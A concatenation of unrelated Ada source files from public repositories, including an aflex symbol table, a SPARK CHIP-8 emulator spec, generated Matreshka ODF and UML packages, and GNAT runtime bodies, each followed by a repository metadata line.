STR_DEF; NEW_ENTRY.INT_VAL := INT_DEF; TABLE(HASH_VAL) := NEW_ENTRY; RESULT := FALSE; return; exception when STORAGE_ERROR => MISC.AFLEXFATAL("symbol table memory allocation failed"); end ADDSYM; -- cclinstal - save the text of a character class procedure CCLINSTAL(CCLTXT : in VSTRING; CCLNUM : in INTEGER) is -- we don't bother checking the return status because we are not called -- unless the symbol is new DUMMY : BOOLEAN; begin ADDSYM(CCLTXT, NUL, CCLNUM, CCLTAB, CCL_HASH_SIZE, DUMMY); end CCLINSTAL; -- ccllookup - lookup the number associated with character class text function CCLLOOKUP(CCLTXT : in VSTRING) return INTEGER is begin return FINDSYM(CCLTXT, CCLTAB, CCL_HASH_SIZE).INT_VAL; end CCLLOOKUP; -- findsym - find symbol in symbol table function FINDSYM(SYMBOL : in VSTRING; TABLE : in HASH_TABLE; TABLE_SIZE : in INTEGER) return HASH_LINK is SYM_ENTRY : HASH_LINK := TABLE(HASHFUNCT(SYMBOL, TABLE_SIZE)); EMPTY_ENTRY : HASH_LINK; begin while (SYM_ENTRY /= null) loop if (SYMBOL = SYM_ENTRY.NAME) then return SYM_ENTRY; end if; SYM_ENTRY := SYM_ENTRY.NEXT; end loop; EMPTY_ENTRY := new HASH_ENTRY; EMPTY_ENTRY.all := (null, null, NUL, NUL, 0); return EMPTY_ENTRY; exception when STORAGE_ERROR => MISC.AFLEXFATAL("dynamic memory failure in findsym()"); return EMPTY_ENTRY; end FINDSYM; -- hashfunct - compute the hash value for "str" and hash size "hash_size" function HASHFUNCT(STR : in VSTRING; HASH_SIZE : in INTEGER) return INTEGER is HASHVAL, LOCSTR : INTEGER; begin HASHVAL := 0; LOCSTR := TSTRING.FIRST; while (LOCSTR <= TSTRING.LEN(STR)) loop HASHVAL := ((HASHVAL*2) + CHARACTER'POS(CHAR(STR, LOCSTR))) mod HASH_SIZE ; LOCSTR := LOCSTR + 1; end loop; return HASHVAL; end HASHFUNCT; --ndinstal - install a name definition procedure NDINSTAL(ND, DEF : in VSTRING) is RESULT : BOOLEAN; begin ADDSYM(ND, DEF, 0, NDTBL, NAME_TABLE_HASH_SIZE, RESULT); if (RESULT) then MISC.SYNERR("name defined twice"); end if; end NDINSTAL; -- ndlookup - lookup a name definition function NDLOOKUP(ND : in VSTRING) return VSTRING is begin return FINDSYM(ND, NDTBL, NAME_TABLE_HASH_SIZE).STR_VAL; end NDLOOKUP; -- scinstal - make a start condition -- -- NOTE -- the start condition is Exclusive if xcluflg is true procedure SCINSTAL(STR : in VSTRING; XCLUFLG : in BOOLEAN) is -- bit of a hack. We know how the default start-condition is -- declared, and don't put out a define for it, because it -- would come out as "#define 0 1" -- actually, this is no longer the case. The default start-condition -- is now called "INITIAL". But we keep the following for the sake -- of future robustness. RESULT : BOOLEAN; begin if (STR /= VSTR("0")) then TSTRING.PUT(DEF_FILE, STR); TEXT_IO.PUT(DEF_FILE, " : constant := "); INT_IO.PUT(DEF_FILE, LASTSC, 1); TEXT_IO.PUT_LINE(DEF_FILE, ";"); end if; LASTSC := LASTSC + 1; if (LASTSC >= CURRENT_MAX_SCS) then CURRENT_MAX_SCS := CURRENT_MAX_SCS + MAX_SCS_INCREMENT; NUM_REALLOCS := NUM_REALLOCS + 1; REALLOCATE_INTEGER_ARRAY(SCSET, CURRENT_MAX_SCS); REALLOCATE_INTEGER_ARRAY(SCBOL, CURRENT_MAX_SCS); REALLOCATE_BOOLEAN_ARRAY(SCXCLU, CURRENT_MAX_SCS); REALLOCATE_BOOLEAN_ARRAY(SCEOF, CURRENT_MAX_SCS); REALLOCATE_VSTRING_ARRAY(SCNAME, CURRENT_MAX_SCS); REALLOCATE_INTEGER_ARRAY(ACTVSC, CURRENT_MAX_SCS); end if; SCNAME(LASTSC) := STR; ADDSYM(SCNAME(LASTSC), NUL, LASTSC, SCTBL, START_COND_HASH_SIZE, RESULT); if (RESULT) then MISC.AFLEXERROR("start condition " & STR & " declared twice"); end if; SCSET(LASTSC) := NFA.MKSTATE(SYM_EPSILON); SCBOL(LASTSC) := NFA.MKSTATE(SYM_EPSILON); SCXCLU(LASTSC) := XCLUFLG; SCEOF(LASTSC) := FALSE; end SCINSTAL; -- sclookup - lookup the number associated with a start condition function SCLOOKUP(STR : in VSTRING) return INTEGER is begin return FINDSYM(STR, SCTBL, START_COND_HASH_SIZE).INT_VAL; end SCLOOKUP; end sym;
reznikmm/gela
Ada
1,603
ads
------------------------------------------------------------------------------ -- G E L A G R A M M A R S -- -- Library for dealing with tests for for Gela project, -- -- a portable Ada compiler -- -- http://gela.ada-ru.org/ -- -- - - - - - - - - - - - - - - - -- -- Read copyright and license in gela.ads file -- ------------------------------------------------------------------------------ with League.Strings; with League.String_Vectors; package Gela.Host is procedure Execute (Command : League.Strings.Universal_String; Arguments : League.String_Vectors.Universal_String_Vector := League.String_Vectors.Empty_Universal_String_Vector; Exit_Code : out Integer; Output : out League.Strings.Universal_String; Directory : League.Strings.Universal_String := League.Strings.Empty_Universal_String); -- Execute Command with Arguments in Directory, place execution output -- to Output parameter. -- Return execution status in Exit_Code. -- If Command is simple file name, then search Command in PATH. function Build_Root return League.Strings.Universal_String; -- Build root is a directory where gela-test_driver was built function Source_Root return League.Strings.Universal_String; -- Source root is a directory where tools/tests/gela-host.adb locates end Gela.Host;
MinimSecure/unum-sdk
Ada
837
adb
-- Copyright 2013-2019 Free Software Foundation, Inc. -- -- This program is free software; you can redistribute it and/or modify -- it under the terms of the GNU General Public License as published by -- the Free Software Foundation; either version 3 of the License, or -- (at your option) any later version. -- -- This program is distributed in the hope that it will be useful, -- but WITHOUT ANY WARRANTY; without even the implied warranty of -- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -- GNU General Public License for more details. -- -- You should have received a copy of the GNU General Public License -- along with this program. If not, see <http://www.gnu.org/licenses/>. pragma Initialize_Scalars; with Pck; use Pck; procedure Foo is A : Integer; begin Do_Nothing (A'Address); end Foo;
laurentzh/CHIP-8
Ada
7,525
ads
with Interfaces; use Interfaces; with Cpu; use Cpu; with Types; use Types; package Instruction with SPARK_Mode => On is subtype Opcode is Word; function Fetch (Cpu : Chip8) return Opcode with Post => Fetch'Result = Shift_Left(Word(Cpu.Mem(Cpu.PC)), 8) + Word(Cpu.Mem(Cpu.PC + 1)); procedure Execute (Cpu : in out Chip8; Op : Opcode); procedure Handler_0 (Cpu : in out Chip8; Op : Opcode) with Pre => (Op and 16#F000#) = 16#0000#, Contract_Cases => (Op = 16#00E0# => (for all I in Cpu.Screen'Range(1) => (for all J in Cpu.Screen'Range(2) => Cpu.Screen(I, J) = False)), Op = 16#00EE# => Cpu.Stack.Size = Cpu.Stack.Size'Old - 1, Op /= 16#00E0# and then Op /= 16#00EE# => Cpu.PC = Op mod 16#1000#); procedure Handler_1 (Cpu : in out Chip8; Op : Opcode) with Pre => (Op and 16#F000#) = 16#1000#, Post => Cpu.PC = Op mod 16#1000#; procedure Handler_2 (Cpu : in out Chip8; Op : Opcode) with Pre => (Op and 16#F000#) = 16#2000#, Post => Cpu.PC = Op mod 16#1000# and then Cpu.Stack.Arr(Cpu.Stack.Size'Old) = Cpu.PC'Old; procedure Handler_3 (Cpu : in out Chip8; Op : Opcode) with Pre => (Op and 16#F000#) = 16#3000#, Post => Cpu.PC >= Cpu.PC'Old + 2, Contract_Cases => (Cpu.Regs(Integer(Shift_Right(Op, 8) and 16#F#)) = Byte(Op mod 16#100#) => Cpu.PC = Cpu.PC'Old + 4, Cpu.Regs(Integer(Shift_Right(Op, 8) and 16#F#)) /= Byte(Op mod 16#100#) => Cpu.PC = Cpu.PC'Old + 2); procedure Handler_4 (Cpu : in out Chip8; Op : Opcode) with Pre => (Op and 16#F000#) = 16#4000#, Contract_Cases => (Cpu.Regs(Integer(Shift_Right(Op, 8) and 16#F#)) /= Byte(Op mod 16#100#) => Cpu.PC = Cpu.PC'Old + 4, Cpu.Regs(Integer(Shift_Right(Op, 8) and 16#F#)) = Byte(Op mod 16#100#) => Cpu.PC = Cpu.PC'Old + 2); procedure Handler_5 (Cpu : in out Chip8; Op : Opcode) with Pre => (Op and 16#F000#) = 16#5000#, Post => Cpu.PC >= Cpu.PC'Old + 2, Contract_Cases => (Cpu.Regs(Integer(Shift_Right(Op, 8) and 16#F#)) = Cpu.Regs(Integer(Shift_Right(Op, 4) and 16#F#)) => Cpu.PC = Cpu.PC'Old + 4, Cpu.Regs(Integer(Shift_Right(Op, 8) and 16#F#)) /= Cpu.Regs(Integer(Shift_Right(Op, 4) and 16#F#)) => Cpu.PC = Cpu.PC'Old + 2); procedure Handler_6 (Cpu : in out Chip8; Op : Opcode) with Pre => (Op and 16#F000#) = 16#6000#, Post => Cpu.Regs(Integer(Shift_Right(Op, 8) and 16#F#)) = Byte(Op mod 16#100#) and then Cpu.PC = Cpu.PC'Old + 2; procedure Handler_7 (Cpu : in out Chip8; Op : Opcode) with Pre => (Op and 16#F000#) = 16#7000#, Post => Cpu.Regs(Integer(Shift_Right(Op, 8) and 16#F#)) = Cpu.Regs'Old(Integer(Shift_Right(Op, 8) and 16#F#)) + Byte(Op mod 16#100#) and then Cpu.PC = Cpu.PC'Old + 2; procedure Handler_8 (Cpu : in out Chip8; Op : Opcode) with Pre => (Op and 16#F000#) = 16#8000# and then (Op mod 16#10# = 0 or Op mod 16#10# = 1 or Op mod 16#10# = 2 or Op mod 16#10# = 3 or Op mod 16#10# = 4 or Op mod 16#10# = 5 or Op mod 16#10# = 6 or Op mod 16#10# = 7 or Op mod 16#10# = 16#E#), Post => Cpu.PC = Cpu.PC'Old + 2; procedure Handler_9 (Cpu : in out Chip8; Op : Opcode) with Pre => (Op and 16#F000#) = 16#9000#, Post => Cpu.PC >= Cpu.PC'Old + 2, Contract_Cases => (Cpu.Regs(Integer(Shift_Right(Op, 8) and 16#F#)) /= Cpu.Regs(Integer(Shift_Right(Op, 4) and 16#F#)) => Cpu.PC = Cpu.PC'Old + 4, Cpu.Regs(Integer(Shift_Right(Op, 8) and 16#F#)) = Cpu.Regs(Integer(Shift_Right(Op, 4) and 16#F#)) => Cpu.PC = Cpu.PC'Old + 2); procedure Handler_A (Cpu : in out Chip8; Op : Opcode) with Pre => (Op and 16#F000#) = 16#A000#, Post => Cpu.I = Op mod 16#1000# and then Cpu.PC = Cpu.PC'Old + 2; procedure Handler_B (Cpu : in out Chip8; Op : Opcode) with Pre => (Op and 16#F000#) = 16#B000#, Post => Cpu.PC = (Op mod 16#1000#) + Word(Cpu.Regs(0)); procedure Handler_C (Cpu : in out Chip8; Op : Opcode) with Pre => (Op and 16#F000#) = 16#C000#, Post => Cpu.PC = Cpu.PC'Old + 2; procedure Handler_D (Cpu : in out Chip8; Op : Opcode) with Pre => (Op and 16#F000#) = 16#D000#, Post => Cpu.PC = Cpu.PC'Old + 2; procedure Handler_E (Cpu : in out Chip8; Op : Opcode) with Pre => (Op and 16#F000#) = 16#E000# and then (Op mod 16#100# = 16#9E# or Op mod 16#100# = 16#A1#), Post => Cpu.PC >= Cpu.PC'Old + 2 and then Cpu.Keys(Integer(Cpu.Regs(Integer(Shift_Right(Op, 8) and 16#F#)))) = False; procedure Handler_F (Cpu : in out Chip8; Op : Opcode) with Pre => (Op and 16#F000#) = 16#F000# and then (Op mod 16#100# = 16#07# or Op mod 16#100# = 16#0A# or Op mod 16#100# = 16#15# or Op mod 16#100# = 16#18# or Op mod 16#100# = 16#1E# or Op mod 16#100# = 16#29# or Op mod 16#100# = 16#33# or Op mod 16#100# = 16#55# or Op mod 16#100# = 16#65#), Contract_Cases => (Op mod 16#100# = 16#07# => Cpu.Regs(Integer(Shift_Right(Op, 8) and 16#F#)) = Cpu.Delay_Timer, Op mod 16#100# = 16#0A# => True, Op mod 16#100# = 16#15# => Cpu.Delay_Timer = Cpu.Regs(Integer(Shift_Right(Op, 8) and 16#F#)), Op mod 16#100# = 16#18# => Cpu.Sound_Timer = Cpu.Regs(Integer(Shift_Right(Op, 8) and 16#F#)), Op mod 16#100# = 16#1E# => Cpu.I = Cpu.I'Old + Word(Cpu.Regs(Integer(Shift_Right(Op, 8) and 16#F#))), Op mod 16#100# = 16#29# => Cpu.I = Word(Cpu.Regs(Integer(Shift_Right(Op, 8) and 16#F#))) * 5, Op mod 16#100# = 16#33# => Cpu.Mem(Cpu.I) = Cpu.Regs(Integer(Shift_Right(Op, 8) and 16#F#)) / 100 and then Cpu.Mem(Cpu.I + 1) = Cpu.Regs(Integer(Shift_Right(Op, 8) and 16#F#)) / 10 mod 10 and then Cpu.Mem(Cpu.I + 2) = Cpu.Regs(Integer(Shift_Right(Op, 8) and 16#F#)) mod 10, Op mod 16#100# = 16#55# => True, Op mod 16#100# = 16#65# => True); type Instr_Handler is access procedure (Cpu : in out Chip8; Op : Opcode); type Instr_Handler_Array is array (0 .. 15) of Instr_Handler; Instr_Handlers : constant Instr_Handler_Array := (Handler_0'Access, Handler_1'Access, Handler_2'Access, Handler_3'Access, Handler_4'Access, Handler_5'Access, Handler_6'Access, Handler_7'Access, Handler_8'Access, Handler_9'Access, Handler_A'Access, Handler_B'Access, Handler_C'Access, Handler_D'Access, Handler_E'Access, Handler_F'Access); end Instruction;
reznikmm/matreshka
Ada
3,802
ads
------------------------------------------------------------------------------ -- -- -- Matreshka Project -- -- -- -- Open Document Toolkit -- -- -- -- Runtime Library Component -- -- -- ------------------------------------------------------------------------------ -- -- -- Copyright © 2013, Vadim Godunko <[email protected]> -- -- All rights reserved. -- -- -- -- Redistribution and use in source and binary forms, with or without -- -- modification, are permitted provided that the following conditions -- -- are met: -- -- -- -- * Redistributions of source code must retain the above copyright -- -- notice, this list of conditions and the following disclaimer. -- -- -- -- * Redistributions in binary form must reproduce the above copyright -- -- notice, this list of conditions and the following disclaimer in the -- -- documentation and/or other materials provided with the distribution. -- -- -- -- * Neither the name of the Vadim Godunko, IE nor the names of its -- -- contributors may be used to endorse or promote products derived from -- -- this software without specific prior written permission. -- -- -- -- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -- -- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -- -- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -- -- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -- -- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -- -- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED -- -- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR -- -- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF -- -- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING -- -- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -- -- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -- -- -- ------------------------------------------------------------------------------ -- $Revision$ $Date$ ------------------------------------------------------------------------------ package Matreshka.ODF_Attributes.Style.Language_Asian is type Style_Language_Asian_Node is new Matreshka.ODF_Attributes.Style.Style_Node_Base with null record; type Style_Language_Asian_Access is access all Style_Language_Asian_Node'Class; overriding function Get_Local_Name (Self : not null access constant Style_Language_Asian_Node) return League.Strings.Universal_String; end Matreshka.ODF_Attributes.Style.Language_Asian;
reznikmm/matreshka
Ada
3,643
ads
------------------------------------------------------------------------------ -- -- -- Matreshka Project -- -- -- -- Open Document Toolkit -- -- -- -- Runtime Library Component -- -- -- ------------------------------------------------------------------------------ -- -- -- Copyright © 2013, Vadim Godunko <[email protected]> -- -- All rights reserved. -- -- -- -- Redistribution and use in source and binary forms, with or without -- -- modification, are permitted provided that the following conditions -- -- are met: -- -- -- -- * Redistributions of source code must retain the above copyright -- -- notice, this list of conditions and the following disclaimer. -- -- -- -- * Redistributions in binary form must reproduce the above copyright -- -- notice, this list of conditions and the following disclaimer in the -- -- documentation and/or other materials provided with the distribution. -- -- -- -- * Neither the name of the Vadim Godunko, IE nor the names of its -- -- contributors may be used to endorse or promote products derived from -- -- this software without specific prior written permission. -- -- -- -- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -- -- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -- -- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -- -- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -- -- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -- -- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED -- -- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR -- -- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF -- -- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING -- -- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -- -- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -- -- -- ------------------------------------------------------------------------------ -- $Revision$ $Date$ ------------------------------------------------------------------------------ with XML.DOM.Attributes; package ODF.DOM.Attributes.Style.Rel_Width is type ODF_Style_Rel_Width is new XML.DOM.Attributes.DOM_Attribute with private; private type ODF_Style_Rel_Width is new XML.DOM.Attributes.DOM_Attribute with null record; end ODF.DOM.Attributes.Style.Rel_Width;
AdaCore/libadalang
Ada
279
adb
package body Pkg is protected body Regular is procedure Set (I : Integer) is begin State := I; end Set; function Get return Integer is begin return State; end Get; end; protected body P_Rec is separate; end Pkg;
reznikmm/matreshka
Ada
3,615
ads
------------------------------------------------------------------------------ -- -- -- Matreshka Project -- -- -- -- Ada Modeling Framework -- -- -- -- Runtime Library Component -- -- -- ------------------------------------------------------------------------------ -- -- -- Copyright © 2011-2012, Vadim Godunko <[email protected]> -- -- All rights reserved. -- -- -- -- Redistribution and use in source and binary forms, with or without -- -- modification, are permitted provided that the following conditions -- -- are met: -- -- -- -- * Redistributions of source code must retain the above copyright -- -- notice, this list of conditions and the following disclaimer. -- -- -- -- * Redistributions in binary form must reproduce the above copyright -- -- notice, this list of conditions and the following disclaimer in the -- -- documentation and/or other materials provided with the distribution. -- -- -- -- * Neither the name of the Vadim Godunko, IE nor the names of its -- -- contributors may be used to endorse or promote products derived from -- -- this software without specific prior written permission. -- -- -- -- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -- -- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -- -- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -- -- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -- -- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -- -- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED -- -- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR -- -- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF -- -- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING -- -- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -- -- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -- -- -- ------------------------------------------------------------------------------ -- $Revision$ $Date$ ------------------------------------------------------------------------------ -- This file is generated, don't edit it. ------------------------------------------------------------------------------ with AMF.Elements.Generic_Hash; function AMF.UML.Named_Elements.Hash is new AMF.Elements.Generic_Hash (UML_Named_Element, UML_Named_Element_Access);
xeenta/learning-ada
Ada
349
adb
with Person2; use Person2; with Ada.Text_IO; use Ada.Text_IO; with Ada.Strings.Unbounded; use Ada.Strings.Unbounded; procedure Test_Person2 is I_Am_Hugo : Person; begin Set_Name (I_Am_Hugo, To_Unbounded_String ("Hugo")); Set_Age (I_Am_Hugo, 19); if Is_Adult (I_Am_Hugo) then Put_Line ("He's adult"); end if; end Test_Person2;
zhmu/ananas
Ada
3,014
adb
------------------------------------------------------------------------------ -- -- -- GNAT COMPILER COMPONENTS -- -- -- -- S Y S T E M . F I N A L I Z A T I O N _ R O O T -- -- -- -- B o d y -- -- -- -- Copyright (C) 1992-2022, Free Software Foundation, Inc. -- -- -- -- GNAT is free software; you can redistribute it and/or modify it under -- -- terms of the GNU General Public License as published by the Free Soft- -- -- ware Foundation; either version 3, or (at your option) any later ver- -- -- sion. GNAT is distributed in the hope that it will be useful, but WITH- -- -- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY -- -- or FITNESS FOR A PARTICULAR PURPOSE. -- -- -- -- As a special exception under Section 7 of GPL version 3, you are granted -- -- additional permissions described in the GCC Runtime Library Exception, -- -- version 3.1, as published by the Free Software Foundation. -- -- -- -- You should have received a copy of the GNU General Public License and -- -- a copy of the GCC Runtime Library Exception along with this program; -- -- see the files COPYING3 and COPYING.RUNTIME respectively. If not, see -- -- <http://www.gnu.org/licenses/>. -- -- -- -- GNAT was originally developed by the GNAT team at New York University. -- -- Extensive contributions were provided by Ada Core Technologies Inc. -- -- -- ------------------------------------------------------------------------------ package body System.Finalization_Root is -- It should not be possible to call any of these subprograms ------------ -- Adjust -- ------------ procedure Adjust (Object : in out Root_Controlled) is begin raise Program_Error; end Adjust; -------------- -- Finalize -- -------------- procedure Finalize (Object : in out Root_Controlled) is begin raise Program_Error; end Finalize; ---------------- -- Initialize -- ---------------- procedure Initialize (Object : in out Root_Controlled) is begin raise Program_Error; end Initialize; end System.Finalization_Root;
zhmu/ananas
Ada
3,652
adb
------------------------------------------------------------------------------ -- -- -- GNAT COMPILER COMPONENTS -- -- -- -- S Y S T E M . P A R A M E T E R S -- -- -- -- B o d y -- -- -- -- Copyright (C) 1995-2022, Free Software Foundation, Inc. -- -- -- -- GNAT is free software; you can redistribute it and/or modify it under -- -- terms of the GNU General Public License as published by the Free Soft- -- -- ware Foundation; either version 3, or (at your option) any later ver- -- -- sion. GNAT is distributed in the hope that it will be useful, but WITH- -- -- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY -- -- or FITNESS FOR A PARTICULAR PURPOSE. -- -- -- -- As a special exception under Section 7 of GPL version 3, you are granted -- -- additional permissions described in the GCC Runtime Library Exception, -- -- version 3.1, as published by the Free Software Foundation. -- -- -- -- You should have received a copy of the GNU General Public License and -- -- a copy of the GCC Runtime Library Exception along with this program; -- -- see the files COPYING3 and COPYING.RUNTIME respectively. If not, see -- -- <http://www.gnu.org/licenses/>. -- -- -- -- GNAT was originally developed by the GNAT team at New York University. -- -- Extensive contributions were provided by Ada Core Technologies Inc. -- -- -- ------------------------------------------------------------------------------ -- Version used on all VxWorks targets package body System.Parameters is ------------------------- -- Adjust_Storage_Size -- ------------------------- function Adjust_Storage_Size (Size : Size_Type) return Size_Type is begin if Size = Unspecified_Size then return Default_Stack_Size; elsif Size < Minimum_Stack_Size then return Minimum_Stack_Size; else return Size; end if; end Adjust_Storage_Size; ------------------------ -- Default_Stack_Size -- ------------------------ function Default_Stack_Size return Size_Type is Default_Stack_Size : constant Integer; pragma Import (C, Default_Stack_Size, "__gl_default_stack_size"); begin if Default_Stack_Size = -1 then if Stack_Check_Limits then return 32 * 1024; -- Extra stack to allow for 12K exception area. else return 20 * 1024; end if; else return Size_Type (Default_Stack_Size); end if; end Default_Stack_Size; ------------------------ -- Minimum_Stack_Size -- ------------------------ function Minimum_Stack_Size return Size_Type is begin return 8 * 1024; end Minimum_Stack_Size; end System.Parameters;
reznikmm/matreshka
Ada
3,618
ads
------------------------------------------------------------------------------ -- -- -- Matreshka Project -- -- -- -- Ada Modeling Framework -- -- -- -- Runtime Library Component -- -- -- ------------------------------------------------------------------------------ -- -- -- Copyright © 2011-2012, Vadim Godunko <[email protected]> -- -- All rights reserved. -- -- -- -- Redistribution and use in source and binary forms, with or without -- -- modification, are permitted provided that the following conditions -- -- are met: -- -- -- -- * Redistributions of source code must retain the above copyright -- -- notice, this list of conditions and the following disclaimer. -- -- -- -- * Redistributions in binary form must reproduce the above copyright -- -- notice, this list of conditions and the following disclaimer in the -- -- documentation and/or other materials provided with the distribution. -- -- -- -- * Neither the name of the Vadim Godunko, IE nor the names of its -- -- contributors may be used to endorse or promote products derived from -- -- this software without specific prior written permission. -- -- -- -- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -- -- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -- -- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -- -- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -- -- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -- -- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED -- -- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR -- -- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF -- -- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING -- -- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -- -- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -- -- -- ------------------------------------------------------------------------------ -- $Revision$ $Date$ ------------------------------------------------------------------------------ -- This file is generated, don't edit it. ------------------------------------------------------------------------------ with AMF.Elements.Generic_Hash; function AMF.UML.Primitive_Types.Hash is new AMF.Elements.Generic_Hash (UML_Primitive_Type, UML_Primitive_Type_Access);
reznikmm/matreshka
Ada
4,591
adb
------------------------------------------------------------------------------ -- -- -- Matreshka Project -- -- -- -- Open Document Toolkit -- -- -- -- Runtime Library Component -- -- -- ------------------------------------------------------------------------------ -- -- -- Copyright © 2014, Vadim Godunko <[email protected]> -- -- All rights reserved. -- -- -- -- Redistribution and use in source and binary forms, with or without -- -- modification, are permitted provided that the following conditions -- -- are met: -- -- -- -- * Redistributions of source code must retain the above copyright -- -- notice, this list of conditions and the following disclaimer. -- -- -- -- * Redistributions in binary form must reproduce the above copyright -- -- notice, this list of conditions and the following disclaimer in the -- -- documentation and/or other materials provided with the distribution. -- -- -- -- * Neither the name of the Vadim Godunko, IE nor the names of its -- -- contributors may be used to endorse or promote products derived from -- -- this software without specific prior written permission. -- -- -- -- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -- -- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -- -- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -- -- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -- -- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -- -- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED -- -- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR -- -- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF -- -- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING -- -- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -- -- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -- -- -- ------------------------------------------------------------------------------ -- $Revision$ $Date$ ------------------------------------------------------------------------------ with Matreshka.DOM_Documents; with Matreshka.ODF_String_Constants; with ODF.DOM.Iterators; with ODF.DOM.Visitors; package body Matreshka.ODF_Form.Disabled_Attributes is ------------ -- Create -- ------------ overriding function Create (Parameters : not null access Matreshka.DOM_Attributes.Attribute_L2_Parameters) return Form_Disabled_Attribute_Node is begin return Self : Form_Disabled_Attribute_Node do Matreshka.ODF_Form.Constructors.Initialize (Self'Unchecked_Access, Parameters.Document, Matreshka.ODF_String_Constants.Form_Prefix); end return; end Create; -------------------- -- Get_Local_Name -- -------------------- overriding function Get_Local_Name (Self : not null access constant Form_Disabled_Attribute_Node) return League.Strings.Universal_String is pragma Unreferenced (Self); begin return Matreshka.ODF_String_Constants.Disabled_Attribute; end Get_Local_Name; begin Matreshka.DOM_Documents.Register_Attribute (Matreshka.ODF_String_Constants.Form_URI, Matreshka.ODF_String_Constants.Disabled_Attribute, Form_Disabled_Attribute_Node'Tag); end Matreshka.ODF_Form.Disabled_Attributes;
reznikmm/matreshka
Ada
5,738
adb
